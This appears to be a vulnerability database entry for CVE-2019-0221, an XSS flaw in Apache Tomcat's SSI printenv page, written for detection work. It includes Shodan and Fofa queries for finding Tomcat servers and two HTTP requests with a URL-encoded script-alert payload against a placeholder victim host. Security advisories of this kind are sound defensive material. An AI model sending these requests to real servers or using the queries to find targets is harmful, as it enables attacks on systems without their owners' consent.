🔙 목록으로 돌아가기

CVE-2019-0221: Apache Tomcat - Cross-Site Scripting

TitleApache Tomcat - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.43363
CVE IDCVE-2019-0221
CWE IDCWE-79
Shodan Querytitle:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat"
Fofa Querybody="apache tomcat"title="apache tomcat"
Tags cve2019 cve apache xss tomcat seclists edb vuln

🔍 Vulnerability Description

Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.

🌐 HTTP Request

GET /printenv.shtml?%3Cscript%3Ealert(1994568570)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ssi/printenv.shtml?%3Cscript%3Ealert(1994568570)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0221.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-0221.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A